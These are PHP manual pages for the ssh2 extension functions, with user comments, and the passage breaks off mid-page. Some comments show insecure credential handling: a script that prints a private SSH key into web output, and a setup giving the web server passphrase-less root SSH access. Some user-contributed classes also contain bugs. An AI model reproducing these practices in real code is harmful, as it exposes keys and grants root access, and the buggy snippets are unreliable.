Finally I use this code into my php script

<?php
// This in order to be sure apache can read public key
// (remove this after debug)
$pub_key = file_get_contents('~/.newssh_keys/id_dsa.pub');
print "<pre>";
var_export($pub_key);
print "</pre>";

// This in order to check private one
// (remove this after debug)
$prv_key = file_get_contents('~/.newssh_keys/id_dsa');
print "<pre>";
var_export($prv_key);
print "</pre>";

// Finally the connection code
$connection = ssh2_connect('<server_domain>', 22, array('hostkey', 'ssh-dss'));
if (ssh2_auth_pubkey_file($connection, '<server_user>',
                          '~/.newssh_keys/id_dsa.pub',
                          '~/.newssh_keys/id_dsa')) {
  echo "Public Key Authentication Successful\n";
} else {
  echo "Public Key Authentication Failed";
}
?>
wilhelm dot murdoch at gmail dot com 13-Oct-2009 04:49
It might be worth noting, as some of the parameter documentation for this method is missing, that the paths for both public and private key MUST be absolute.
BlackJowy 11-Mar-2008 08:36
I tried for hours to have this function working under windows without sucess.

It seems that this function does not work with the 0.11 version of libssh2 but I'm not sure. What I'm sure is that it doesn't work with wamp or easyphp (or the last binary from pecl4win) and these three runs with v0.11.

Only solution seems to be linux (or another unix based distribution I guess), all has worked for me under linux with libssh2 v0.14. So if you're trying to have this function working under windows, just forget it for the moment.
tekiedude at gmail dot com 31-Jul-2007 01:45
This is probably incredibly insecure but if you are in a closed environment, you can run it at your own risk.

I was trying to get ssh access from server A to server B but server A was running apache as 'apache' and
I needed files on server B that were owned by root. So I needed some way for the apache user to connect
to server B as root.  Here's what I did (both servers running linux - specifically CentOS4):

1. ssh-keygen -t rsa -f id_rsa  generate with no passphrase
2. append the id_rsa.pub file to server B /root/.ssh/authorized_keys2
3. copy the id_rsa and id_rsa.pub files to a directory like /var/www/.ssh/
(happens to be apache's home dir on CentOS)
4. chown -R apache.apache /var/www/.ssh

Then you can connect like this:
$connection = ssh2_connect($server,22,array('hostkey'=>'ssh-rsa'));
if (ssh2_auth_pubkey_file($connection,'root',
'/var/www/.ssh/id_rsa.pub',
'/var/www/.ssh/id_rsa')) {
echo "success!";
}
else
{
echo "no success :-(";
}
d23d23 at gmail dot com 16-Feb-2007 05:21
The public key must be on one line starting with the key type, 1 space and followed by the keydata (no newlines) and not followed by comments. This is a limitation of libssh2, so remove any excess data from the file after creating it with your key generation tools.

So it would look something like this:

ssh-rsa <keydata>
andyc at opensense dot com 06-Jun-2006 04:48
The key files need to be in OpenSSH's format.

For example the pubkey file should look like this:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAo6uBphcbl
5iS7U0fjE1ZJ8ZPqYwezFbxyN13YYucrFDCbln9Q6S33lN
JMYKUY4711qzDOxQD0bratDQfHUl4waT35qI+NRQa2
B+UWHYaOhbt5FI0Ks7JXPxj3iJ/+joiKQW3Bj8eH8Nzg
sTx4tEVPD6QOHs682OhUNX6sqSnHA8= rsa-key-20060606
ssh2_auth_password
ssh2_connect
SSH2 Functions


Connect to an SSH server

ssh2_auth_pubkey_file
ssh2_exec
SSH2 Functions
PHP Manual

ssh2_connect

(PECL ssh2 >= 0.9.0)

ssh2_connect — Connect to an SSH server

Description

resource ssh2_connect ( string $host [, int $port = 22 [, array $methods [, array $callbacks ]]] )

Establish a connection to a remote SSH server.

Once connected, the client should verify the server's hostkey using ssh2_fingerprint(), then authenticate using either password or public key.

Parameters

host

port

methods

methods may be an associative array with up to four parameters as described below.

methods may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
kex | List of key exchange methods to advertise, comma separated in order of preference. | diffie-hellman-group1-sha1, diffie-hellman-group14-sha1, and diffie-hellman-group-exchange-sha1
hostkey | List of hostkey methods to advertise, come separated in order of preference. | ssh-rsa and ssh-dss
client_to_server | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from client to server.
server_to_client | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from server to client.

* - Supported Values are dependent on methods supported by underlying library. See » libssh2 documentation for additional information.

client_to_server and server_to_client may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
crypt | List of crypto methods to advertise, comma separated in order of preference. | rijndael-cbc@lysator.liu.se, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, arcfour, and none**
comp | List of compression methods to advertise, comma separated in order of preference. | zlib and none
mac | List of MAC methods to advertise, come separated in order of preference. | hmac-sha1, hmac-sha1-96, hmac-ripemd160, hmac-ripemd160@openssh.com, and none**

Note: Crypt and MAC method "none"

For security reasons, none is disabled by the underlying » libssh2 library unless explicitly enabled during build time by using the appropriate ./configure options. See documentation for the underlying library for more information.

callbacks

callbacks may be an associative array with any or all of the following parameters.

Callbacks parameters
Index | Meaning | Prototype
ignore | Name of function to call when an SSH2_MSG_IGNORE packet is received | void ignore_cb($message)
debug | Name of function to call when an SSH2_MSG_DEBUG packet is received | void debug_cb($message, $language, $always_display)
macerror | Name of function to call when a packet is received but the message authentication code failed. If the callback returns TRUE, the mismatch will be ignored, otherwise the connection will be terminated. | bool macerror_cb($packet)
disconnect | Name of function to call when an SSH2_MSG_DISCONNECT packet is received | void disconnect_cb($reason, $message, $language)

Return Values

Returns a resource on success, or FALSE on error.

Examples

Example #1 ssh2_connect() example

Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.

<?php
/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n",
         $reason, $message);
}

$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
    'crypt' => '3des-cbc',
    'comp' => 'none'),
  'server_to_client' => array(
    'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
    'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');
?>

See Also

  • ssh2_fingerprint() - Retrieve fingerprint of remote server
  • ssh2_auth_none() - Authenticate as "none"
  • ssh2_auth_password() - Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file() - Authenticate using a public key

User Contributed Notes

Steve Kamerman 05-Jul-2011 03:06
Due to a lack of complete examples, here's a simple SSH2 class for connecting to a server, authenticating with public key authentication, verifying the server's fingerprint, issuing commands and reading their STDOUT and properly disconnecting.  Note: You may need to make sure you commands produce output so the response can be pulled.  Some people suggest that the command is not executed until you pull the response back.
<?php
class NiceSSH {
    // SSH Host
    private $ssh_host = 'myserver.example.com';
    // SSH Port
    private $ssh_port = 22;
    // SSH Server Fingerprint
    private $ssh_server_fp = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    // SSH Username
    private $ssh_auth_user = 'username';
    // SSH Public Key File
    private $ssh_auth_pub = '/home/username/.ssh/id_rsa.pub';
    // SSH Private Key File
    private $ssh_auth_priv = '/home/username/.ssh/id_rsa';
    // SSH Private Key Passphrase (null == no passphrase)
    private $ssh_auth_pass;
    // SSH Connection
    private $connection;

    public function connect() {
        if (!($this->connection = ssh2_connect($this->ssh_host, $this->ssh_port))) {
            throw new Exception('Cannot connect to server');
        }
        $fingerprint = ssh2_fingerprint($this->connection, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);
        if (strcmp($this->ssh_master_fp, $fingerprint) !== 0) {
            throw new Exception('Unable to verify server identity!');
        }
        if (!ssh2_auth_pubkey_file($this->connection, $this->ssh_auth_user, $this->ssh_auth_pub, $this->ssh_auth_priv, $this->ssh_auth_pass)) {
            throw new Exception('Autentication rejected by server');
        }
    }
    public function exec($cmd) {
        if (!($stream = ssh2_exec($this->connection, $cmd))) {
            throw new Exception('SSH command failed');
        }
        stream_set_blocking($stream, true);
        $data = "";
        while ($buf = fread($stream, 4096)) {
            $data .= $buf;
        }
        fclose($stream);
        return $data;
    }
    public function disconnect() {
        $this->exec($this->connection, 'echo "EXITING" && exit;');
        $this->connection = null;
    }
    public function __destruct() {
        $this->disconnect();
    }
}
?>
suri dot suribala dot com 24-Feb-2005 05:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

        if ( $shell_type != '' ) $this->shell_type = $shell_type;
    $this->shell = ssh2_shell( $this->con,  $this->shell_type );
    if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

    fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

        $argc = func_num_args();
        $argv = func_get_args();

    $cmd = '';
    for( $i=0; $i<$argc ; $i++) {
        if( $i != ($argc-1) ) {
          $cmd .= $argv[$i]." && ";
        }else{
          $cmd .= $argv[$i];
        }
    }
    echo $cmd;

        $stream = ssh2_exec( $this->con, $cmd );
    stream_set_blocking( $stream, true );
    return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>
ssh2_auth_pubkey_file
ssh2_exec
SSH2 Functions


Execute a command on a remote server

ssh2_connect
ssh2_fetch_stream
SSH2 Functions
PHP Manual

ssh2_exec

(PECL ssh2 >= 0.9.0)

ssh2_exec — Execute a command on a remote server

Description

resource ssh2_exec ( resource $session , string $command [, string $pty [, array $env [, int $width = 80 [, int $height = 25 [, int $width_height_type = SSH2_TERM_UNIT_CHARS ]]]]] )

Execute a command at the remote end and allocate a channel for it.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

command

pty

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

Return Values

Returns a stream on success or FALSE on failure.

Examples

Example #1 Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

See Also

  • ssh2_connect() - Connect to an SSH server
  • ssh2_shell() - Request an interactive shell
  • ssh2_tunnel() - Open a tunnel through a remote server

User Contributed Notes

Jim 08-Dec-2010 09:22
It is important to note that this will not work ~all~ hosts that allow SFTP. We deny shell access, but allow SFTP using the sftp-internal subsystem.

When attempting to use ssh2_exec() with this configuration, and stream_set_blocking set to true, the script will hang indefinitely. When stream_set_blocking is set to false, nothing will be returned.

Even if you can SFTP files, be sure to check with your host to see if you have shell access.
christopher dot millward at gmail dot com 26-Jul-2010 11:15
There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one.

The following code *should* get the error message written to stderr, but if the call to stream_get_contents() for stdout is run first, the subsequent call for stderr won't return anything.

If the order of the statements is reversed, the call for stderr will return any errors and call for stdout will return nothing

<?php
// Run a command that will probably write to stderr (unless you have a folder named /hom)
$stream = ssh2_exec($connection, "cd /hom");
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Enable blocking for both streams
stream_set_blocking($errorStream, true);
stream_set_blocking($stream, true);

// Whichever of the two below commands is listed first will receive its appropriate output.  The second command receives nothing
echo "Output: " . stream_get_contents($stream);
echo "Error: " . stream_get_contents($errorStream);

// Close the streams
fclose($errorStream);
fclose($stream);

?>

My initial suspicion is that either a) I've done something wrong  or b) the blocking nature of both streams means that by the time first stream has received data and returned, the buffer for the second stream has already emptied.

I've done preliminary tests with blocking disabled, but haven't had any luck there either.
gwinans at gmail dot com 27-Apr-2010 10:40
Oddly enough, I've noticed if I attempt to execute anything nothing happens. Now, I don't mean "No content is returned!".. I mean, "The command I told it to execute didn't execute!".

Unless the following pattern is followed:

<?php
$stream = ssh2_exec($connection, "touch ~/some_fake_file", 'xterm');
stream_get_contents($stream);
?>

Nowhere in the manual does it imply that stream_get_contents is required for the actual execution to take place, but in this case.. it seems that way. So, if you're having trouble getting commands to execute, try using stream_get_contents().
magicaltux at php dot net 21-Dec-2008 04:41
The "pty" parameter is not documented.

You should pass a pty emulation name ("vt102", "ansi", etc...) if you want to emulate a pty, or NULL if you don't.

Passing false will convert false to a string, and will allocate a "" terminal.
jaimie at seoegghead dot com 18-Dec-2008 08:07
I believe most of the problem that people are having here is that there is a misconception about what blocking *really* means.

Blocking means a read from the *stream* will wait until there is data.  Not necessarily all the data from the application -- but *some*.  So it won't help you at all if you're executing a command that doesn't write to stdout, or writes a whole lot of data.

So there are 2 problems:

1. If you need to know that a silent program is done via ssh2_exec, you'll need to signal it to yourself.  ssh2_exec will *not* block execution until the command is done executing.  And 2 consecutive ssh2_execs may execute asynchronously.  You could also log into a shell via ssh2_shell and parse up to the next prompt -- but that's overkill.  You can also do this by adding on some sort of sentinel at the end of your command, such as echo "@," and then block on reads until you see a "@."  Ensure "@" won't appear in the output, or escape the output via some encoding mechanism if you can't do that.

2. If the program takes awhile, you have the same problem.  You need to read until you're done.  So you need a sentinel value like the above.

3. Sleep() is just a bad idea here.  Commands rarely take the same amount of time to execute a command twice.  It may be OK if you're doing *one* thing and can just wait 5 seconds.  But that's not cool if it's something you're doing in a loop.

Hope this helps!
lko at netuse dot de 06-Dec-2007 05:41
if you are using exec function, and have problems with a output > 1000 lines
you should use

<?php
                stream_set_blocking($stream, true);
                while($line = fgets($stream)) {
                        flush();
                        echo $line."<br />";
                }
?>

except

<?php
                stream_set_blocking($stream, true);
               echo stream_get_contents($stream);
?>
Betsy Gamrat 15-Apr-2007 07:52
It is also good to use register_shutdown_function to shred the keys after this runs.
Jon-Eirik Pettersen 11-Mar-2007 04:33
The command  may not finish before the function return if the stream is not set to blocking mode. You may have to set the stream to blocking mode in order to get any output from the command.

<?php
  // [Open connection]
  // ...

  $stream = ssh2_exec($connection, 'ps ax');
  stream_set_blocking($stream, true);

  // The command may not finish properly if the stream is not read to end
  $output = stream_get_contents($stream);

  // ...
  // [Close stream and connection]
?>
Betsy Gamrat 18-Feb-2007 12:00
If the ssh2_exec takes awhile to run, and you need a handshake, you can use a file.  In this case, $flag names a handshake file that is written when the ssh script finishes.

<?php
                $stream = ssh2_exec($connection, $command . " $public_key $private_key;");
                $i=0;
                while (!file_exists ($flag) && ($i < MAX_TIME))
                {
                        sleep(1);
                        $i++;
                }
                $ret_val=($stream!=FALSE);
?>

This is an extract out of the bash script that is running.  Be sure to allow the webserver permission to read the file that the script writes.

echo 0 > $OUTFILE
chmod 666 $OUTFILE

One other note:  you can put more than one command in by separating them with ';' (semicolons).
col at pobox dot com 15-Oct-2006 03:55
as of 0.9 and above, if not allocating a pty, add FALSE to the call...

old way:

<?php ssh2_exec($connection, $command); ?>

new way:

<?php ssh2_exec($connection, $command, FALSE); ?>
tabber dot watts at gmail dot com 02-Dec-2005 03:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connect($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
    $line = fgets($shell);
    if(!strstr($line,$cmd)) {
      if(preg_match('/\[start\]/',$line)) {
        $start = true;
      }elseif(preg_match('/\[end\]/',$line)) {
        return $output;
      }elseif($start){
        $output[] = $line;
      }
    }
  }
}

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jschwepp AT gmail DOT com) on 17-FEB-2010 to fix a typo in a function name.]
gakksimian at yahoo dot com 07-Sep-2005 10:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
    // code fragment
    $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
    $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il 09-Jun-2005 05:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

<?php
 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
 // ...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
 // ..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
 // ..........................................
}
?>
ssh2_connect
ssh2_fetch_stream
SSH2 Functions


Fetch an extended data stream

ssh2_exec
ssh2_fingerprint
SSH2 Functions
PHP Manual

ssh2_fetch_stream

(PECL ssh2 >= 0.9.0)

ssh2_fetch_stream — Fetch an extended data stream

Description

resource ssh2_fetch_stream ( resource $channel , int $streamid )

Fetches an alternate substream associated with an SSH2 channel stream. The SSH2 protocol currently defines only one substream, STDERR, which has a substream ID of SSH2_STREAM_STDERR (defined as 1).

Parameters

channel

streamid

An SSH2 channel stream.

Return Values

Returns the requested stream resource.

Examples

Example #1 Opening a shell and retrieving the stderr stream associated with it

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

See Also

  • ssh2_shell() - Request an interactive shell
  • ssh2_exec() - Execute a command on a remote server
  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

hexer 10-Sep-2008 06:51
I successfully used fgets in PHP4

examples

<?php
$stderr = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDERR), 8192);

$str = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDIO), 8192);
?>
Dennis K. 24-Jan-2007 04:28
In addition to the last post from Ricardo Striquer:

Simple block the stream with stream_set_blocking(), and you dont have to sleep() the script...

<?php
stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");

$err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

$dio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDDIO);

stream_set_blocking($err_stream, true);
stream_set_blocking($dio_stream, true);

$result_err = stream_get_contents($err_stream));
$result_dio = stream_get_contents($dio_stream));
?>
Ricardo Striquer (ricardophp yohoocombr) 18-Dec-2006 07:41
I got a friend using those functions and he was not able to use this ssh2_fetch_stream function. First of all I got the ssh2_shell sample by webmaster at spectreanime dot com, but this function does not work with his sample, i believe thats because he use fwrite instead of ssh2_shell or ssh2_exec to run the command.

This sample below is to run under a command line and is fully functional. note that i add the sleep as advised by webmaster at spectreanime dot com

<?php
echo "Connexion SSH ";
if (!($connection=@ssh2_connect("69.69.69.69", 22))) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\nAuthentification ";

if (!@ssh2_auth_password($connection,"root","YourPassword")) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\n";

$stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");
sleep(1);
$stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

echo "Erros encontrados!\n------------\n";
while($line = fgets($stderr_stream)) { flush(); echo $line."\n"; }
echo "------------\n";

while($line = fgets($stdout_stream)) { flush(); echo $line."\n";}

fclose($stdout_stream);
?>
ssh2_exec
ssh2_fingerprint
SSH2 Functions


Retrieve fingerprint of remote server

ssh2_fetch_stream
ssh2_methods_negotiated
SSH2 Functions
PHP Manual

ssh2_fingerprint

(PECL ssh2 >= 0.9.0)

ssh2_fingerprint — Retrieve fingerprint of remote server

Description

string ssh2_fingerprint ( resource $session [, int $flags = SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX ] )

Returns a server hostkey hash from an active session.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

flags

flags may be either of SSH2_FINGERPRINT_MD5 or SSH2_FINGERPRINT_SHA1 logically ORed with SSH2_FINGERPRINT_HEX or SSH2_FINGERPRINT_RAW.

Return Values

Returns the hostkey hash as a string.

Examples

Example #1 Checking the fingerprint against a known value

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
               SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
  die("HOSTKEY MISMATCH!\n" .
      "Possible Man-In-The-Middle Attack?");
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ssh2_fetch_stream
ssh2_methods_negotiated
SSH2 Functions


Return list of negotiated methods

ssh2_fingerprint
ssh2_publickey_add
SSH2 Functions
PHP Manual

ssh2_methods_negotiated

(PECL ssh2 >= 0.9.0)

ssh2_methods_negotiated — Return list of negotiated methods

Description

array ssh2_methods_negotiated ( resource $session )

Returns list of negotiated methods.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

Return Values

Examples

Example #1 Determining what methods were negotiated

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Encryption keys were negotiated using: {$methods['kex']}\n";
echo "Server identified using an {$methods['hostkey']} with ";
echo "fingerprint: " . ssh2_fingerprint($connection) . "\n";

echo "Client to Server packets will use methods:\n";
echo "\tCrypt: {$methods['client_to_server']['crypt']}\n";
echo "\tComp: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Server to Client packets will use methods:\n";
echo "\tCrypt: {$methods['server_to_client']['crypt']}\n";
echo "\tComp: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

See Also

  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

There are no user contributed notes for this page.
ssh2_fingerprint
ssh2_publickey_add
SSH2 Functions


Add an authorized publickey

ssh2_methods_negotiated
ssh2_publickey_init
SSH2 Functions
PHP Manual

ssh2_publickey_add

(PECL ssh2 >= 0.10)

ssh2_publickey_add — Add an authorized publickey

Description

bool ssh2_publickey_add ( resource $pkey , string $algoname , string $blob [, bool $overwrite = false [, array $attributes ]] )

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

Parameters

pkey

Publickey Subsystem resource created by ssh2_publickey_init().

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

overwrite

If the specified key already exists, should it be overwritten?

attributes

Associative array of attributes to assign to this public key. Refer to ietf-secsh-publickey-subsystem for a list of supported attributes. To mark an attribute as mandatory, precede its name with an asterisk. If the server is unable to support an attribute marked mandatory, it will abort the add process.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding a publickey with ssh2_publickey_add()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($pkey, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.
ssh2_methods_negotiated
ssh2_publickey_init
SSH2 Functions


Initialize Publickey subsystem

ssh2_publickey_add
ssh2_publickey_list
SSH2 Functions
PHP Manual

ssh2_publickey_init

(PECL ssh2 >= 0.10)

ssh2_publickey_init — Initialize Publickey subsystem

Description

resource ssh2_publickey_init ( resource $session )

Request the Publickey subsystem from an already connected SSH2 server.

The publickey subsystem allows an already connected and authenticated client to manage the list of authorized public keys stored on the target server in an implementation agnostic manner. If the remote server does not support the publickey subsystem, the ssh2_publickey_init() function will return FALSE.

Parameters

session

Return Values

Returns an SSH2 Publickey Subsystem resource for use with all other ssh2_publickey_*() methods or FALSE on failure.

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.
ssh2_publickey_add
ssh2_publickey_list
SSH2 Functions


List currently authorized publickeys

ssh2_publickey_init
ssh2_publickey_remove
SSH2 Functions
PHP Manual

ssh2_publickey_list

(PECL ssh2 >= 0.10)

ssh2_publickey_list — List currently authorized publickeys

Description

array ssh2_publickey_list ( resource $pkey )

List currently authorized publickeys.

Parameters

pkey

Publickey Subsystem resource

Return Values

Returns a numerically indexed array of keys, each of which is an associative array containing: name, blob, and attrs elements.

Publickey elements
Array Key | Meaning
name | Name of algorithm used by this publickey, for example: ssh-dss or ssh-rsa.
blob | Publickey blob as raw binary data.
attrs | Attributes assigned to this publickey. The most common attribute, and the only one supported by publickey version 1 servers, is comment, which may be any freeform string.

Examples

Example #1 Listing authorized keys with ssh2_publickey_list()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
  echo "Key: {$key['name']}\n";
  echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
  echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

The above example will output:

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey

User Contributed Notes

There are no user contributed notes for this page.
ssh2_publickey_init
ssh2_publickey_remove
SSH2 Functions


Remove an authorized publickey

ssh2_publickey_list
ssh2_scp_recv
SSH2 Functions
PHP Manual

ssh2_publickey_remove

(PECL ssh2 >= 0.10)

ssh2_publickey_remove — Remove an authorized publickey

Description

bool ssh2_publickey_remove ( resource $pkey , string $algoname , string $blob )

Removes an authorized publickey.

Parameters

pkey

Publickey Subsystem Resource

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.
ssh2_publickey_list
ssh2_scp_recv
SSH2 Functions


Request a file via SCP

ssh2_publickey_remove
ssh2_scp_send
SSH2 Functions
PHP Manual

ssh2_scp_recv

(PECL ssh2 >= 0.9.0)

ssh2_scp_recv — Request a file via SCP

Description

bool ssh2_scp_recv ( resource $session , string $remote_file , string $local_file )

Copy a file from the remote server to the local filesystem using the SCP protocol.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

remote_file

Path to the remote file.

local_file

Path to the local file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Downloading a file via SCP

